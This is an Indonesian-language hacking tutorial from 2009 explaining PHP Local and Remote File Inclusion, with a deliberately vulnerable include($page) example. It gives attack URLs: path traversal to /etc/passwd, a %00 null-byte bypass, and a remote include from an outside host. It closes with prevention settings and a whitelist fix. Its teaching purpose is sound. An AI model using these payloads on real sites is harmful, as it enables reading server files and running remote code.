__ ________ ____ ________ _____
____ _____ |__| ___________ ____ ____/ __ \/_ / __ \/ | |
/ _ \ / \| |/ ___\_ __ \/ _ \ / \____ / | \____ / | |_
( <_> ) Y Y \ \ \___| | \( <_> ) | \ / / | | / / ^ /
\____/|__|_| /__|\___ >__| \____/|___| //____/ |___| /____/\____ |
\/ \/ \/ |__|
|
[ lfi-rfi ]
By omicron9194 [at] 2009-02-22
LFI (Local File Inclusion) adalah sebuah bug pada site dimana kita bisa mengakses semua file di dalam server hanya dengan melalui URL.
RFI (Remote File Inclusion) adalah sebuah bug dimana site mengizinkan kita meng-include-kan file dari luar server.
Fungsi-fungsi yg dapat menyebabkan LFI dan RFI :
include()
include_once()
require()
require_once()
Syarat pada konfigurasi server:
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off
------------------example----------------------
< ?
include($page) ;
?>
------------------------------------------------
misalnya $page=depan.php,di URL :
http://www.site.com/index.php?page=depan.php
Terlihat bahwa variable page di include begitu saja,sehingga kita bisa mengekploitasi LFI. Misal kita ingin mengakses file password yg ada pada server, maka kita masukkan seperti ini >>> ../../../../../../etc/passwd , dengan jumlah "../" tergantung kedalaman folder pada file index.php tsb. Maka isi dari file etc/passwd akan ditampilkan begitu saja di browser.
Jika terdapat eror,kurang lebih kek gini :
Warning:main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2
Itu berarti file passwd nya ditambah dengan *.php , utk mengakalinya, tambahin ini %00 setelah etc/passwd (magic_quotes_gpc = off),jadinya kek gini:
http://www.site.com/index.php?page=../../../../../../etc/passwd%00
Kita gunakan %00 , utk menghilangkan karakter setelah %00 (diabaikan) >>> Null Injection
Seep,,kita udah dapat LFI nya.Sekarang kita coba mengeksploitasi RFI , kita masukkan variable page dari luar server. Kek gini :
http://www.site.com/index.php?page=http://www.sitegue.com/owned.txt >>> dengan isi file owned.txt "hacked by me". Nah, jika di browser muncul tulisan "hacked by me" , maka site tersebut Vuln RFI juga :)
Cara pencegahannya :
Konfigurasi server :
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on
dengan kode PHP :
< ?php
$page = $_GET[page];
switch($page)
{
case "file1.php":
include("file1.php");
break;
case "file2.php":
include("file2.php");
break;
default:
include("index.php");
}
?>
Ini membuat file yg bisa di include kan hanya file1.php dan file2.php
your ip is 38.107.191.100 with CCBot/1.0 (+http://www.commoncrawl.org/bot.html)
omicron9194 send all submissions to omicron9194@yahoo.com
Copyright © 2010 omicron9194 | |
|